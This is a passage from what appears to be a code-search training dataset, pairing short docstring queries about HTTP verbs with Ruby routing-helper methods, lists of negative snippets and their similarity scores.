[ "def routing_params\n routing_params_with_patterns.map { |param, _| param }\n end", "def routing_params\n routing_params_with_patterns.map { |param, _| param }\n end", "def routing_params_with_patterns\n @routing_params_with_patterns ||= begin\n Gapic::UriTemplate.parse_arguments(path).map do |name, pattern|\n [name, pattern.empty? ? \"*\" : pattern]\n end\n end\n end", "def optional_params(route)\n if Rails.version >= \"3.2.0\"\n return route.optional_parts.map(&:to_s)\n end\n path_info = route.conditions[:path_info]\n path_info_source = path_info.source\n if RUBY_VERSION >= '1.9.2'\n optional_named_captures_regexp = /\\?\\:.+?\\(\\?\\<(.+?)\\>/\n path_info_source.scan(optional_named_captures_regexp).flatten\n else\n re = Regexp.escape(\"([^/.?]+)\")\n optional_named_captures_regexp = /#{re}|\\(\\?\\:.+?\\)\\?/\n captures = path_info_source.scan(optional_named_captures_regexp).flatten\n named_captures = path_info.named_captures.to_a.sort_by {|cap|cap.last.first} \n captures.zip(named_captures).map do |type, (name, pos)|\n name unless type == '([^/.?]+)'\n end.compact\n end\n end", "def mention_parameter_patterns(name)\n expr = parameter_notations(name)\n [\n /#{expr}\\:\\:/, # param1::\n /\\`#{expr}\\`/, # `param1`\n /\\+#{expr}\\+/, # +param1+\n /\\+#{expr}\\+\\:\\:/, # +param1+::\n /<tt>#{expr}<\\/tt>/, # <tt>param1</tt>\n /<tt>#{expr}<\\/tt>\\:\\:/, # <tt>param1</tt>::\n /^\\s*#{expr}\\ +\\-\\ / # param1 -\n ]\n end", "def route_enclosing_names\n @route_enclosing_names ||= returning(Array.new) do |req|\n enclosing_segments.each do |segment|\n unless segment.is_optional or segment.is_a?(::ActionController::Routing::DividerSegment)\n req << [segment.value, true] if segment.is_a?(::ActionController::Routing::StaticSegment)\n req.last[1] = false if segment.is_a?(::ActionController::Routing::DynamicSegment)\n end\n end\n end\n end", "def convert_to_path_params_segments(some_path)\n segs = strip_bookend_slashes(some_path).split('/')\n \n return segs.map{ |seg|\n if ms = seg.match(/(?<=:)\\w+/)\n ms[0].to_sym\n else\n seg\n end\n }\n end", "def named_routes=(_arg0); end", "def symbolized_path_parameters\n @symbolized_path_params ||= path_parameters.symbolize_keys\n end", "def param_names\n\t\treturn self.constraints.keys.map( &:to_s ).sort\n\tend", "def pattern_params\n params[:pattern]\n end", "def symbolized_path_parameters\n @env[\"action_dispatch.request.symbolized_path_parameters\"] ||= path_parameters.symbolize_keys\n end", "def named_routes(namespace=nil)\n unless routes = opts[:namespaced_routes][namespace]\n raise RodaError, \"unsupported multi_route namespace used: #{namespace.inspect}\"\n end\n routes.keys\n end", "def param_names\n first_level_expected_params = (list_required + list_optional).map{|rule| rule.name.to_s}\n first_level_expected_params += namespaced_params.map{|r| r.space_name.to_s}\n first_level_expected_params\n end", "def routes\n [@name.downcase]\n end", "def namespaced_params\n @namespaced_params ||= []\n end", "def resources_for http_verb, path\n param_vals = []\n curr_node = @routes_tree[http_verb.to_s.downcase]\n return unless curr_node\n\n path.scan(%r{/([^/]+|$)}) do |(key)|\n next if key.empty?\n\n if curr_node[key]\n curr_node = curr_node[key]\n\n elsif curr_node[\"%s\"]\n param_vals << key\n curr_node = curr_node[\"%s\"]\n\n else\n return\n end\n end\n\n return unless curr_node.value\n rsc = curr_node.value.dup\n\n rsc[-1] = param_vals.empty? ?\n Hash.new :\n rsc[-1].inject({}){|h, name| h[name] = param_vals.shift; h}\n\n rsc\n end", "def get_reqd_param_names\n rparams = []\n i = 1\n while !params[:rparams_.to_s + \"#{i}\"].nil?\n rparams << params[:rparams_.to_s + \"#{i}\"]\n i += 1\n end\n rparams\n end", "def paramaterize params\n segments = @url.split('/')\n segments.map { |item| item[0] == ':' ? params.shift : item }.join('/')\n end", "def named_route_regexp(namespace=nil)\n @namespaced_route_regexps[namespace] ||= /(#{Regexp.union(roda_class.named_routes(namespace).select{|s| s.is_a?(String)}.sort.reverse)})/\n end", "def pnames\n @params.keys\n end", "def parts\n prefix, parts = split_names(@path)\n prefix.empty? ? parts : [prefix] + parts\n end", "def pattern_names\n # This removes the path and extensions\n patterns.map { |pat| pat.name.gsub(/.*[\\\\\\/]/, '').gsub(/\\..*/, '') }\n end", "def named_routes; end", "def route_params\n params = { id: id }\n\n self.class.routes.values.each do |route|\n route.gsub(/:(\\w+)/) do |m|\n m = m.delete(':').to_sym\n params[m] = self.send(m)\n end\n end\n\n params\n end", "def gather_endpoints_to_check\n Rails.application.routes.routes.map do |route|\n verb = route.verb.downcase.to_sym\n example_path = route.path.spec\n .to_s.gsub('(.:format)', '')\n .gsub(/:([^\\/]+)/,'SOME_PLACEHOLDER_PARAM')\n .gsub('*path', 'SOME_PLACEHOLDER_PATH')\n .gsub('*filename','SOME_PLACEHOLDER_FILENAME')\n next unless verb.present?\n [verb, example_path]\n end.compact\n end", "def route_params\n params.require(:route).permit(:service_id, :verb, :url_pattern, :version)\n end", "def get(route)\n pattern = route.gsub(/:(\\w+)/, '(?<\\1>[^\\\\/]+)')\n puts pattern # => /hello/(?<name>[^\\/]+)\n end", "def routing_keys\n []\n end", "def map_dynamic_segments(route)\n segments = route.to_s.split('/')\n segments.map! do |segment|\n if segment =~ /:/\n '.*'\n else\n segment\n end\n end\n\n segments.join('/')\n end", "def to_param_namespace\n name.downcase\n end", "def parameter_names\n @parameters.map { |info| info.name }.join(', ')\n end", "def get_opt_param_names\n oparams = []\n i = 1\n while !params[:oparams_.to_s + \"#{i}\"].nil?\n oparams << params[:oparams_.to_s + \"#{i}\"]\n i += 1\n end\n oparams\n end", "def to_param\n name.parameterize\n end", "def routing_path_and_extension\n @routing_path_and_extension ||= begin\n path = raw_path_info\n extension = nil\n\n if @app.config[:media_type_extensions] && (match = EXTENSION_REGEXP.match(path))\n path = match.pre_match\n extension = match[1]\n end\n\n [path, extension]\n end\n end", "def to_param\n\t \"#{id} #{name}\".parameterize\n\tend", "def to_param\n self.name.parameterize\n end", "def to_param\n name.parameterize()\n end", "def path_arguments\n\t\t\t\t@path_arguments ||= @path.split('/')\n\t\t\t\t\t.each_with_object(req: [], opt: []) do |part, hash|\n\t\t\t\t\t\t## Take only argument parts\n\t\t\t\t\t\tnext if part[0] != Router::ARG_CHAR\n\t\t\t\t\t\t## Clean argument from special chars\n\t\t\t\t\t\tclean_part = part.delete(\n\t\t\t\t\t\t\tRouter::ARG_CHAR + Router::ARG_CHAR_OPT\n\t\t\t\t\t\t).to_sym\n\t\t\t\t\t\t## Memorize arguments\n\t\t\t\t\t\thash[part[1] != Router::ARG_CHAR_OPT ? :req : :opt] << clean_part\n\t\t\t\t\tend\n\t\t\tend", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def route part = \"/\", params = {}\n File.join('/', part)+\"#depricated\"\n end", "def get_params(path)\n values = [] # values from the URL path\n params = {} # params hash to be built\n\n if segmented_path?\n path_segments = path.split('/').select { |s| !s.empty? }\n\n # remove the segments that are NOT keys, don't have ':' in the\n # segment name.\n # values will ONLY be the set of non keys.\n values = path_segments - non_key_segments\n\n # For every key segment from this route's path\n key_segments.each_with_index do |key, i|\n # set the params hash key from one key segment for this route.\n # and the corresponding value from the URL path segment.\n params[key.gsub(':', '').to_sym] = values[i]\n end\n end\n params\n end", "def parameter_notations(name)\n escaped_name = Regexp.escape(name)\n type = /<[^>]+>/\n /(#{escaped_name}|#{escaped_name}#{type})/\n end", "def to_param\n \"#{id}-#{name}\".parameterize\n #[id, name.parameterize].join(\"-\")\n end", "def recognize_path(path_info)\n prepare! unless prepared?\n route = @engine.find_by_pattern(path_info).first\n [route.name, route.params_for(path_info, {})]\n end", "def describe_parameter_extra_regexps(name)\n [\n \"#{name}::\",\n \"+#{name}+::\",\n \"<tt>#{name}</tt>::\"\n ].map do |pattern|\n r = pattern.is_a?(Regexp) ? pattern : Regexp.escape(pattern)\n /#{r}\\n\\ {2,}.+/m\n end\n end", "def to_param\n self.name.parameterize\n end", "def to_param\n self.name.parameterize\n end", "def to_param\n self.name.parameterize\n end", "def needed_params\n param_str = String.new(term_class.params)\n res = []\n while param_str.sub! /%([^%\\s]+)%/, '' do\n res << $1\n end\n res.sort\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def route_descriptor_ar(routeset)\n routeset.routes.collect do |route|\n name = routeset.named_routes.routes.index(route).to_s\n verb = route.conditions[:method].to_s.upcase\n path = route.segments.inject(\"\") { |str,s| str << s.to_s }\n path.chop! if path.length > 1\n { :name=>name, :verb=>verb, :path=>path }.merge(route.requirements)\n end ; end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{self.id}-#{self.match.try(:name)}\".parameterize\n end", "def route_name; end", "def route_name; end", "def extract_route_vars(route_spec)\n return route_spec, [] if route_spec.is_a?(Regexp)\n\n unless route_spec[0,1] == ':' || route_spec.index('/:')\n return route_spec, []\n end\n\n vars = []\n position_counter = 1\n regex_route = route_spec\n route_spec.split('/').each_with_index do |segment, i|\n if segment.include?(':')\n vars << { :position => position_counter, :var => segment.gsub(':', '') }\n position_counter += 2\n regex_route = regex_route.gsub(segment, '(((?!\\bnew\\b).)*)')\n end\n end\n\n reg = Regexp.new(\"^#{regex_route}$\")\n\n return reg, vars\n end", "def extract_parameters(route)\n route.params_from(request.path).merge(params).with_indifferent_access\n end", "def to_param\n [id, name.parameterize].join(\"-\")\n end", "def to_param\n [id, name.parameterize].join(\"-\")\n end", "def to_param\n [id, name.parameterize].join(\"-\")\n end", "def named_routes\n return [] unless app_obj.respond_to?(:routes)\n\n app_obj.routes.map { |route|\n request_method = route.request_methods.first\n next if !route.name || request_method == 'HEAD'\n route_name = route.name.to_s\n route_name =\n if route.controller\n route_name.split(\" \", 2).map{|name| \":#{name}\" }.join(\", \")\n else\n \":#{route_name}\"\n end\n name_array = \"(#{route_name})\"\n original_path = route.original_path.is_a?(Regexp) ? route.original_path.inspect : route.original_path\n full_path = File.join(uri_root, original_path)\n OpenStruct.new(:verb => request_method, :identifier => route.name, :name => name_array, :path => full_path)\n }.compact\n end", "def routes\n { :static => @route_ids, :dynamic => @dynamic }\n end", "def base_route_segments\n table_name.to_s\n end", "def route_params\n params.require(:route).permit(:name)\n end", "def param_name\n if keys.length > 1\n first, *rest = keys\n v = first.dup\n rest.each do |param|\n v << \"[\"\n v << param unless param.is_a?(Integer)\n v << \"]\"\n end\n v\n else\n keys.first\n end\n end", "def to_param\n \"#{id}-#{name}\".parameterize if id.present?\n end", "def build_param_calls_from( atts )\n atts.map do |att|\n case att\n when String, Symbol then \"param :#{att}, '#{att}', nullable: true\"\n when Hash\n att.map do |key,references|\n ( single = (references.last == Parametrization::Config::SINGLETON_FLAG) ) && references.pop # Remove the flag value if it is present.\n if references.empty? then \"param :#{key}, '#{key}', nullable: true, multiple: true\" # This handles explicit empty array literals.\n else [ \"param :#{key}, '#{key}', nullable: true#{ single ? '' : ', multiple: true' } do\", build_param_calls_from( references ), 'end' ]\n end\n end\n end\n end.flatten.join(\"\\n\")\n end", "def route_builder_params\n request_para = params[:route_builder].nil? ? params : params[:route_builder]\n request_para.select{|key,value| key.in?(RouteBuilder.column_names())}.symbolize_keys\n end", "def to_param\n \"#{id} #{name}\".parameterize\n end", "def to_param\n \"#{id} #{name}\".parameterize\n end", "def param_name(key)\n first, *rest = keys(key)\n if first\n v = first.dup\n rest.each do |param|\n v << \"[#{param}]\"\n end\n v\n end\n end", "def route_prefix_values(use_shallow_route=false)\n route_prefix_values = parent_module_groups || []\n route_prefix_values += use_shallow_route ? parent_model_names[0..-2] : parent_model_names\n route_prefix_values = route_prefix_values.reject{|x|x.blank?}\n end", "def route4\n name = params[:name]\n regex = Regexp.new(\"@\" + name) if name == \"foo\"\n end", "def update_params name_route = name\n { self.class.resource_name.downcase.to_sym => name_route }\n end", "def named_route; end", "def to_param\n \"#{self.id}#{'-' + self.name.parameterize if self.name.present? }\"\n end", "def api \n api = { }\n \n param_regex = Regexp.new '\\(\\[\\^\\\\\\\\\\/\\?\\#\\]\\+\\)'\n Nagira.routes.keys.each do |method|\n api[method] ||= []\n Nagira.routes[method].each do |r|\n path = r[0].inspect[3..-3]\n r[1].each do |parm|\n path.sub!(param_regex,\":#{parm}\")\n end\n path.gsub!('\\\\','')\n api[method] << path unless path.empty? \n end\n end\n api\n end", "def route_params\n params.fetch(:route, {}).permit(:negotiator_id)\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def parameter_key(term)\n string = term.to_s\n string = string.sub(/^[a-z\\d]*/) { $&.capitalize }\n string.gsub!(/(?:_|(\\/))([a-z\\d]*)/i) { \"#{$1}#{$2.capitalize}\" }\n string\n end", "def process_params(path)\n # find symbols: \"users/show/:id/:name\" will give us [\"users/show\", \"id\", \"name\"]\n params = path.split(/\\/:/)\n # first element is path \"users/show\"\n params.shift\n # return params\n params\n end", "def overloaded_parameter_names\n overload_tags.map do |tag|\n Array(tag.parameters).map do |parameter|\n normalize_parameter_name(parameter[0])\n end\n end.flatten\n end", "def parameter_names_with_defaults\n parameters.map do |param|\n s = param.name\n s += \" = #{param.default}\" if param.respond_to?(:default)\n s\n end.join(', ')\n end", "def jsonapi_path_parameters\n return request.path_parameters if request.respond_to?(:path_parameters)\n\n request.send(:parse_query, request.query_string, '&;')\n end", "def routes_generate_options\n {\n :action => action_ref(:class => :controller),\n #TODO named root params\n :controller => controller_ref,\n :generate_all => nil,\n :method => link_to_methods,\n :use_route => nil,\n\n }\n end", "def name_parameterized\n parameterize(@name)\n end", "def to_param\n \"#{self.id}-#{self.name.parameterize}\"\n end", "def show_routes\n seen = []\n unless Merb::Router.named_routes.empty?\n puts \"==== Named routes\"\n Merb::Router.named_routes.each do |name,route|\n # something weird happens when you combine sprintf and irb\n puts \"Helper : #{name}\"\n meth = $1.upcase if route.conditions[:method].to_s =~ /(get|post|put|delete)/\n puts \"HTTP method: #{meth || 'GET'}\"\n puts \"Route : #{route}\"\n puts \"Params : #{route.params.inspect}\"\n puts\n seen << route\n end\n end\n puts \"==== Anonymous routes\"\n (Merb::Router.routes - seen).each do |route|\n meth = $1.upcase if route.conditions[:method].to_s =~ /(get|post|put|delete)/\n puts \"HTTP method: #{meth || 'GET'}\"\n puts \"Route : #{route}\"\n puts \"Params : #{route.params.inspect}\"\n puts\n end\n nil\n end", "def subparameter_name; end", "def params\n '(%s)' % @format\n end", "def star_mappings\n @path_mappings.inject([]) do |memo, (key, value)|\n memo << [key, value] if (key.dynamic?)\n memo\n end\n end", "def params_from(path)\r\n ensure_that_routes_are_loaded\r\n ActionController::Routing::Routes.recognize_path(path)\r\nend", "def show_routes\n seen = []\n unless Merb::Router.named_routes.empty?\n puts \"Named Routes\"\n Merb::Router.named_routes.each do |name,route|\n puts \" #{name}: #{route}\"\n seen << route\n end\n end\n puts \"Anonymous Routes\"\n (Merb::Router.routes - seen).each do |route|\n puts \" #{route}\"\n end\n nil\n end", "def routes=(_arg0); end", "def routes=(_arg0); end", "def routes=(_arg0); end" ]
[ "0.7281575", "0.727771", "0.70641154", "0.6570279", "0.6129925", "0.60801584", "0.6064101", "0.58562493", "0.57965285", "0.5748055", "0.57406646", "0.56026673", "0.55988514", "0.5569285", "0.55180687", "0.55105835", "0.5503975", "0.54892963", "0.5471826", "0.54603994", "0.5450751", "0.54177594", "0.54144365", "0.540687", "0.5406454", "0.53903526", "0.53849685", "0.5364253", "0.5356823", "0.5346553", "0.5338733", "0.5333443", "0.53306544", "0.5321109", "0.52820903", "0.52569157", "0.525649", "0.5254085", "0.5240521", "0.52272904", "0.5223749", "0.5212474", "0.5207883", "0.52058417", "0.52041787", "0.52004725", "0.5199572", "0.5199572", "0.5199572", "0.5196492", "0.5191052", "0.5191052", "0.5191052", "0.5191052", "0.51891464", "0.5174512", "0.5170318", "0.5158668", "0.5158668", "0.51478934", "0.51472944", "0.51456124", "0.51456124", "0.51456124", "0.514151", "0.51370895", "0.5121464", "0.5119361", "0.51003593", "0.5100197", "0.509762", "0.5095419", "0.5093915", "0.5093915", "0.50922614", "0.508616", "0.5085551", "0.50811094", "0.50795496", "0.50574845", "0.50509244", "0.5033872", "0.50218654", "0.50218654", "0.500704", "0.500546", "0.50024736", "0.50012046", "0.49888945", "0.4984294", "0.4977979", "0.4977079", "0.49758196", "0.49751547", "0.49695003", "0.4968556", "0.49629864", "0.49597478", "0.49597478", "0.49597478" ]
0.6881244
3
Whether a http verb is present for this method
def verb? !verb.nil? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def http_verb(params)\n [:post, :put, :delete].detect { |method_name|\n params.key?(method_name)\n } || :get\n end", "def get?\r\nHTTP_METHOD_LOOKUP[request_method] == :get\r\nend", "def http_method_modifies_resource?\n ['PUT','POST','PATCH'].include?(method.to_s.upcase)\n end", "def respond_to?(method, include_private = false)\n (actions(current_api).include? method) ? true : super\n end", "def update_request?(http_method = nil)\n http_method = http_method.downcase.to_sym if http_method.is_a?(String)\n %i[put post patch].include?(http_method || @verb)\n end", "def matches?(req)\n req.path =~ pattern && req.request_method.to_s.upcase == http_method\n end", "def respond_to?(api_method) # :nodoc:\n @client.wsdl.soap_actions.include?(api_method.to_sym)\n end", "def post?\r\nHTTP_METHOD_LOOKUP[request_method] == :post\r\nend", "def matches?(req)\n !(req.path =~ @pattern).nil? && \n req.request_method.downcase.to_sym == @http_method\n end", "def matches?(req)\n req.path =~ pattern && http_method == req.request_method.downcase.to_sym\n end", "def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end", "def matches?(req)\n pattern.match(req.path) && req.request_method.downcase == http_method.to_s\n end", "def respond_to?(method)\n return true if !enabled? || soap_actions.include?(method)\n super\n end", "def method?(meth)\n get_method(meth)\n end", "def respond_to?(api_method) # :nodoc:\n HTTPI.get(\"http://#{@console_url}/frontend/#{camelize_api_method_name(api_method.to_s)}.aspx\").code == 200 ? true : false\n end", "def respond_to?(method, include_private=false)\n route_macro = self.class.macros[method]\n if route_macro.nil?\n super\n else\n true\n end\n end", "def halt_method(x = ['GET'])\n if !x.include?(request.request_method)\n halt 405\n end\n end", "def route? method\n if @tracker.routes[:allow_all_actions] or @tracker.options[:assume_all_routes]\n true\n else\n routes = @tracker.routes[@current_class]\n routes and (routes.include? :allow_all_actions or routes.include? method)\n end\n end", "def head?\r\nHTTP_METHOD_LOOKUP[request_method] == :head\r\nend", "def respond_to?(method)\n return super unless part(method)\n part(method)\n end", "def matches?(req)\n !!(req.request_method.downcase.to_sym == @http_method && @pattern.match(req.path))\n end", "def respond_to_missing?(method, include_private = true)\n method.to_s.end_with?(ACTION_SUFFIX) || super\n end", "def matches?(req)\n @pattern.match?(req.path) && @http_method.to_s.downcase == req.request_method.downcase\n end", "def matches_directly?(request_path, http_method)\n @paths.path[request_path]&.operation(http_method)\n end", "def route_api?\n request.get? && path.match(%r{^/api})\n end", "def matches?(req)\n !(@pattern =~ req.path).nil? && req.request_method.downcase == @http_method.to_s.downcase\n end", "def action_method?(name); end", "def patch?\r\nHTTP_METHOD_LOOKUP[request_method] == :patch\r\nend", "def method?\n type == TYPE_METHOD\n end", "def method?\n type == TYPE_METHOD\n end", "def put?\r\nHTTP_METHOD_LOOKUP[request_method] == :put\r\nend", "def matches?(req)\n match_method = req.request_method.downcase.to_sym == @http_method\n # match_pattern = req.path.match(Regexp.new(@pattern))\n match_pattern = req.path =~ @pattern\n match_method && match_pattern\n end", "def respond_to?(method)\n return true if name?(method.to_sym)\n super\n end", "def check_header\n if ['POST', 'PUT', 'PATCH'].include? request.method\n head :not_acceptable and return unless request.content_type == 'application/vnd.api+json'\n end\n end", "def has_verb?(verb)\n @verbs.any? { |v| v.name == verb }\n end", "def delete?\r\nHTTP_METHOD_LOOKUP[request_method] == :delete\r\nend", "def respond_to?(meth)\n\t\ttrue\n\tend", "def action_method?(name)\n self.class.action_methods.include?(name)\n end", "def try_route\n\t\t\t\thttp_method = request.http_method\n\t\t\t\thttp_method = :GET if http_method == :HEAD\n\t\t\t\treturn unless available_endpoint\n\n\t\t\t\troute = available_endpoint[http_method]\n\t\t\t\treturn unless route || available_endpoint.allow\n\n\t\t\t\thalt(405, nil, 'Allow' => available_endpoint.allow) unless route\n\t\t\t\tstatus 200\n\t\t\t\texecute_route route\n\t\t\t\ttrue\n\t\t\tend", "def action_method?\n nil\n end", "def respond_to? meth, include_private=false\n if(matches? meth)\n return true\n else\n super\n end\n end", "def method(method = nil)\n return @method unless method\n case method\n when :get, :post, :put, :delete\n @method = method\n else\n raise \"Unknown HTTP method :#{method}.\"\n end\n end", "def is_verb? m\n is_token?(m) || is_absolute_iri?(m)\n end", "def matches?(req)\n regex = Regexp.new(@pattern.to_s)\n match_data = regex.match(req.path)\n if match_data.nil?\n return false\n else\n req.request_method.downcase.to_sym == @http_method\n end\n end", "def respond_to_missing?(_method, _include_private = false)\n true\n end", "def respond_to?(method, include_all = false)\n if method.to_s.end_with?('_path', '_url')\n if main_app.respond_to?(method)\n true\n else\n super\n end\n else\n super\n end\n end", "def http?\n type == :basic || type == :digest\n end", "def normalized_request_method\n method = @env[\"REQUEST_METHOD\"]\n method == 'HEAD' ? 'get' : method.downcase\n end", "def respond_to?(method_name, include_private = false)\n true\n end", "def method\r\n@method ||= check_method(env[\"rack.methodoverride.original_method\"] || env['REQUEST_METHOD'])\r\nend", "def method_not_allowed(verbs)\n res = response\n res.status = 405\n res[RodaResponseHeaders::ALLOW] = verbs\n nil\n end", "def api_request?\n is_api_request = request.path_info =~ /\\// ||\n request.path_info =~ /\\/fonts/ ||\n request.path_info =~ /\\/connect/\n !is_api_request\n end", "def custom_get_request_with_params?\n request.method =~ /get/i && !%w(index show).include?(params[:action]) && !params.nil?\n end", "def respond_to? method\n method.to_s =~ /^do_[A-Z]+$/ ? true : super\n end", "def valid_proxy_method?\n rpc_action? || rpc_action_abbrev?\n end", "def respond_to_missing?( method, include_private = false )\n super || (method.to_s =~ METHOD_NAME_REGEXP ) || true\n end", "def requested_method\n\t\t\t\t# respond to websocket special case\n\t\t\t\treturn :pre_connect if request.upgrade?\n\t\t\t\t# respond to save 'new' special case\n\t\t\t\treturn (self.class.has_method?(:save) ? :save : false) if (request.request_method =~ /POST|PUT|PATCH/i.freeze) && (params[:id].nil? || params[:id] == 'new'.freeze)\n\t\t\t\t# set DELETE method if simulated\n\t\t\t\trequest.request_method = 'DELETE'.freeze if params[:_method] && params[:_method].to_s.downcase == 'delete'.freeze\n\t\t\t\t# respond to special :id routing\n\t\t\t\tparams[:id].to_s.downcase.to_sym.tap { |met| return met if self.class.has_exposed_method?(met) } if params[:id]\n\t\t\t\t#review general cases\n\t\t\t\tcase request.request_method\n\t\t\t\twhen 'GET'.freeze, 'HEAD'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:index) ? :index : false) unless params[:id]\n\t\t\t\t\treturn (self.class.has_method?(:show) ? :show : false)\n\t\t\t\twhen 'POST'.freeze, 'PUT'.freeze, 'PATCH'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:update) ? :update : false)\n\t\t\t\twhen 'DELETE'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:delete) ? :delete : false)\n\t\t\t\tend\n\t\t\t\tfalse\n\t\t\tend", "def respond_to?(method_name, include_private=false)\n return true if key?(method_name) || method_name.to_s.slice(/[=?!_]\\Z/)\n super\n end", "def controller_respond_to\n render :text => private_methods.collect(&:to_s).include?(params[:method]) ? '1' : '0'\n end", "def matches?(req)\n @pattern.to_s.match(req.path) && @http_method.to_s.match(req.request_method.downcase)\n end", "def has_handler?(method)\n send(method) && true\n end", "def check_method_param(req)\n params = URI.decode_www_form(req.body)\n method_params = params.find { |param| param.first = \"_method\" }\n if method_params\n req.instance_variable_set(:@request_method, method_params[1])\n #!!!!!!!!!!!!!!!!!!!!!!!!!!\n end\n end", "def respond_to_missing?(method_name)\n @original_handler.respond_to?(method_name)\n end", "def request_type(http_method = nil)\n (http_method || @verb).to_s.upcase\n end", "def respond_to?(method)\n :force.equal?(method) || :__force__.equal?(method) || __force__.respond_to?(method)\n end", "def respond_to?(meth)\n File.instance_methods.any? { |m| m == meth.to_s || m == meth.to_sym }\n end", "def api?(req)\n (req.path.start_with?('/api') || req.path.start_with?('/version.json'))\n end", "def parse_http_methods!(req)\n if (method = req.params['_method'])\n if ['delete', 'put', 'patch'].include?(method.downcase)\n req.env['REQUEST_METHOD'] = method.upcase\n end\n end\n end", "def post_tunnel_method_hack?\n @env['REQUEST_METHOD'] == 'POST' &&\n POST_TUNNEL_METHODS_ALLOWED.include?(self.POST.fetch('_method', '').upcase)\n end", "def respond_to_missing? meth, priv\n if @o\n @o.repond_to_missing? meth, priv\n else\n true\n end\n end", "def respond_to?(method_name)\n super || rpc_methods.include?(method_name.to_sym)\n end", "def request_get?\n request.get?\n end", "def method?(method)\n\t\treturn (get_tlv_value(TLV_TYPE_METHOD) == method)\n\tend", "def method?(method)\n\t\treturn (get_tlv_value(TLV_TYPE_METHOD) == method)\n\tend", "def handleRequest?(path)\n\t\t\ttrue\n\t\tend", "def match!(env)\n return false unless @http_methods.include?(env[\"REQUEST_METHOD\"])\n return false unless @path =~ env[\"PATH_INFO\"]\n return false unless @host.nil? || @host =~ env[\"HTTP_HOST\"]\n\n true\n end", "def request_method\n @request_method || :get\n end", "def check_header\n if ['POST','PUT','PATCH'].include? request.method\n if request.content_type != \"application/vnd.api+json\"\n head 406 and return\n end\n end\n end", "def verify_csrf_token?(req, *)\n !IDEMPOTENT_HTTP_METHODS[req.request_method]\n end", "def respond_to?(method, include_private = false)\n super || app.respond_to?(method, include_private)\n end", "def respond_to_missing?(_method_name, _include_private = false)\n true\n end", "def respond_to_missing?(_method_name, _include_private = false)\n true\n end", "def respond_to?(method)\n @data.key?(method.to_s) || super\n end", "def respond_to?(meth, include_private = false)\n if meth.to_s =~ /^happy_.*$/\n true\n else\n super\n end\n end", "def matches?(request)\n (http_method == request.request_method.downcase.to_sym) &&\n !!(pattern =~ request.path)\n end", "def request_method\r\n@request_method ||= check_method(env[\"REQUEST_METHOD\"])\r\nend", "def request?\n self.operation == OP_REQUEST\n end", "def respond_to?(name_) # :nodoc:\n super || @methods.include?(name_.to_sym)\n end", "def http_method\n return if request_response_pairs.empty?\n request_response_pairs.first.first.request_method\n end", "def method?(name)\n method_name == name.to_sym\n end", "def method_valid?(method_name)\n # validate method, see if we support given method in current tasks\n (current_context_task_names() + ['help']).include?(method_name)\n end", "def respond? request, vhost\n (request.path =~ @regex) != nil\n end", "def respond_to_missing?(method_name, include_private = false)\n name = method_name.to_s\n\n return true if name.chomp!('?')\n name.chomp!('!') && self.class.valid?(name)\n end", "def respond_to?(method, include_private = false)\n super || @_view.respond_to?(method, include_private)\n end", "def respond_to?(method, include_private = false)\n super || model.respond_to?(method) || relationships.has_key?(method)\n end", "def respond_to_missing?(*args)\n method_name = args.first\n delegates_controller_method?(method_name) || super\n end", "def respond_to?(method, include_private = false)\n super || defines_default?(method) || (method =~ /^(\\w+)=$/ && defines_default?(Regexp.last_match(1)))\n end", "def options?\n @method == OPTIONS\n end", "def post?\n request.request_method == 'POST'\n end", "def method_missing(*args)\n method_name = args.first.to_s\n if method_name=~/is_.*[?]/\n roles = method_name.gsub(/is_(.*)[?]/, \"\\\\1\")\n roles.split(\"_or_\").each do |role|\n return name.underscore==role\n end\n elsif method_name=~/has_.*[?]/\n controller = args.second\n action = method_name.gsub(/has_(.*)[?]/, \"\\\\1\")\n return has_permission(controller, action)\n else\n super(*args)\n end\n end" ]
[ "0.75833637", "0.7302763", "0.7274144", "0.7266581", "0.72588897", "0.71536034", "0.7059609", "0.70344836", "0.6997092", "0.69853175", "0.6919115", "0.69138604", "0.6880489", "0.6867206", "0.6844059", "0.67908275", "0.6741622", "0.6705465", "0.66818553", "0.6664769", "0.6658151", "0.6654583", "0.6649522", "0.66334254", "0.6632521", "0.66131383", "0.6607551", "0.6598215", "0.6589548", "0.6589548", "0.6586235", "0.6582296", "0.6576533", "0.65691245", "0.65515745", "0.6535486", "0.6490125", "0.6486897", "0.64852566", "0.6482417", "0.6478367", "0.6467107", "0.6451873", "0.6432224", "0.6430121", "0.6406415", "0.6395459", "0.63911605", "0.63823414", "0.63821524", "0.63798934", "0.6375192", "0.6372394", "0.63588756", "0.63484466", "0.63425094", "0.6337259", "0.6327862", "0.6326387", "0.63208574", "0.6318216", "0.631076", "0.6306749", "0.63046217", "0.63042796", "0.6301213", "0.6288027", "0.6286802", "0.6285395", "0.628466", "0.62702566", "0.6267178", "0.62651926", "0.62651926", "0.6259081", "0.6248096", "0.6240771", "0.6236802", "0.6220479", "0.6216809", "0.6215805", "0.620123", "0.6195377", "0.6181771", "0.6161698", "0.6154555", "0.6145494", "0.61433965", "0.6138535", "0.613372", "0.61331433", "0.6129597", "0.6126573", "0.6125722", "0.61252147", "0.6125097", "0.612439", "0.611519", "0.6111574", "0.610926" ]
0.7069828
6
The http verb for this method
def verb verb_path[0] if verb_path end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
